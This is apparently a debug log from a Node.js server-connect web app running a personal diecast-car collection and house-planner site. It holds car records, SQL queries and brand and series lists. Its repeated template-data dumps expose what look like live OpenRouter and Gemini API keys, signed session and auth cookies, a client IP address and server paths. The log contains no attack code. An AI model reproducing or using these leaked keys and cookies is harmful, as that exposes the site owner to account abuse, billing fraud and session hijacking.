      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-04-07T16:29:15.217Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-04-07T16:29:15.217Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-04-07T16:29:15.217Z server-connect:app Executing action step identify
2026-04-07T16:29:15.217Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.217Z server-connect:output identity: 1
2026-04-07T16:29:15.217Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.218Z server-connect:app Executing action step identify
2026-04-07T16:29:15.218Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:15.218Z server-connect:output identity: 1
2026-04-07T16:29:15.218Z server-connect:app Executing action step restrict
2026-04-07T16:29:15.218Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-04-07T16:29:15.218Z server-connect:output restrict: undefined
2026-04-07T16:29:15.218Z server-connect:app Executing action step select
2026-04-07T16:29:15.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-04-07T16:29:15.219Z server-connect:output restrict: undefined
2026-04-07T16:29:15.219Z server-connect:app Executing action step select
2026-04-07T16:29:15.219Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-07T16:29:15.221Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-04-07T16:29:15.222Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-04-07T16:29:15.222Z server-connect:app Executing action step select
2026-04-07T16:29:15.222Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-07T16:29:15.224Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-04-07T16:29:15.224Z server-connect:app Executing action step select
2026-04-07T16:29:15.224Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-04-07T16:29:15.225Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-04-07T16:29:17.623Z server-connect:router Serving templateView /house-planner
2026-04-07T16:29:17.626Z server-connect:app Executing action step identify
2026-04-07T16:29:17.626Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:17.626Z server-connect:output identity: 1
2026-04-07T16:29:17.626Z server-connect:app Executing action step restrict
2026-04-07T16:29:17.626Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:17.627Z server-connect:output restrict: undefined
2026-04-07T16:29:17.627Z server-connect:router Render template house-planner
2026-04-07T16:29:17.627Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-04-07T16:29:17.891Z server-connect:router Serving templateView /
2026-04-07T16:29:17.891Z server-connect:app Executing action step identify
2026-04-07T16:29:17.892Z server-connect:app options: { provider: 'security' }
2026-04-07T16:29:17.892Z server-connect:output identity: 1
2026-04-07T16:29:17.892Z server-connect:app Executing action step restrict
2026-04-07T16:29:17.892Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:17.892Z server-connect:output restrict: undefined
2026-04-07T16:29:17.892Z server-connect:app Executing action step restrict
2026-04-07T16:29:17.893Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:29:17.893Z server-connect:output restrict: undefined
2026-04-07T16:29:17.893Z server-connect:router Render template layouts/main
2026-04-07T16:29:17.894Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'i',
    cookie: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'x-forwarded-for': '157.48.251.120',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-04-08T16:28:05.613Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.251.120',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3A%2FBbLtVTdsKPXEVAx3jsMbg%3D%3D.NpTj%2BWDnYZQs2G%2BhNGjYQOBsI%2FebZ2mXa3OqMWcDSmUAa17Jacn1%2BTQd7foHJSsxUQkodLKxHD%2BWBkBzxyg8nWkqTZwDH3ILxxQRpBzSpnUJQsLBqIaHmMdjE8SFoFA9Diytp7eEfc%2BAx8eMOskOvCiH%2FqRHuTWq%2BaMr%2BvWtDsI%3D.0jUUQS3MIQz9q5dqlXuMxuccP23Q6JhpOYUx4EYj%2BP4; your_r_git.sid=s%3A_DqD8DhM2lVEL_pTYHEUAk1FeVbMBZja.CW4BTxdMaeSD8OszT%2FdG9a2rxyGrFZNyJ%2B6yWy%2BZJuw',
    'HTTP_X_FORWARDED-FOR': '157.48.251.120',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-04-07T16:30:16.305Z server-connect:router Serving templateView /house-planner
2026-04-07T16:30:16.305Z server-connect:app Executing action step identify
2026-04-07T16:30:16.305Z server-connect:app options: { provider: 'security' }
2026-04-07T16:30:16.305Z server-connect:output identity: 1
2026-04-07T16:30:16.305Z server-connect:app Executing action step restrict
2026-04-07T16:30:16.306Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-04-07T16:30:16.306Z server-connect:output restrict: undefined
2026-04-07T16:30:16.306Z server-connect:router Render template layouts/main
2026-04-07T16:30:16.306Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
